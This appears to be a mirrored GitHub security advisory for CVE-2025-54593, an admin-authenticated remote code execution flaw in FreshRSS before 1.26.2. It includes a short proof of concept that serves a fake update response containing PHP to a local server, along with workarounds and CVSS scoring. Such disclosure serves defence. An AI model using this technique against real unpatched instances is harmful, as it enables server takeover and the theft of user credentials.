Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Admin authenticated RCE <1.26.2

High
Alkarex published GHSA-jcww-48g9-wf57 Jul 31, 2025

Package

No package listed

Affected versions

<1.26.2

Patched versions

1.26.2, 1.26.3

Description

Summary

In FreshRSS versions <1.26.2, an authenticated administrator user can execute arbitrary code on the FreshRSS server by modifying the update URL to one they control, and gain code execution after running an update.

Details

FreshRSS requests updates by making requests to <UPDATE_URL>/?v=<CURRENT_VERSION> and the first line of the response will indicate whether there is an update or not.
If you make a request to https://update.freshrss.org/?v=1.26.3 as of right now, you will receive NO_UPDATE 1.26.3
With https://update.freshrss.org/?v=1.26.2 you will get UPDATE 1.26.3 followed by <?php and PHP code that will be put into ./data/update.php and executed.

Patch / workarounds

Workarounds: touch ./data/update.php && chmod 000 ./data/update.php or set disable_update to true in ./data/config.php
Preferably update to version 1.26.2 or later.
Fixed as of #7477

PoC

Create a new file index.html in a new directory, put the following contents inside of it:

UPDATE 1.123.0
<?php
die('RCE');

Run a webserver: php -S 127.0.0.1:1337
Modify the update URL to http://127.0.0.1:1337 and run an update.
This will not work when FreshRSS is running inside a docker container for example, because it won't have the necessary file permissions to do so. (updates are disabled inside the Docker images anyway in the config with the option disable_update)

Impact

After successfully executing code, user data including hashed passwords can be exfiltrated, the instance can be defaced when file permissions allow. Malicious code can be inserted into the instance to steal plaintext passwords, among others.

Users that run FreshRSS inside docker or have disabled updates / blocked update.php, or using git deployment are not affected.
Generally only users that use ZIP deployment are affected.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-54593

Weaknesses

No CWEs

Credits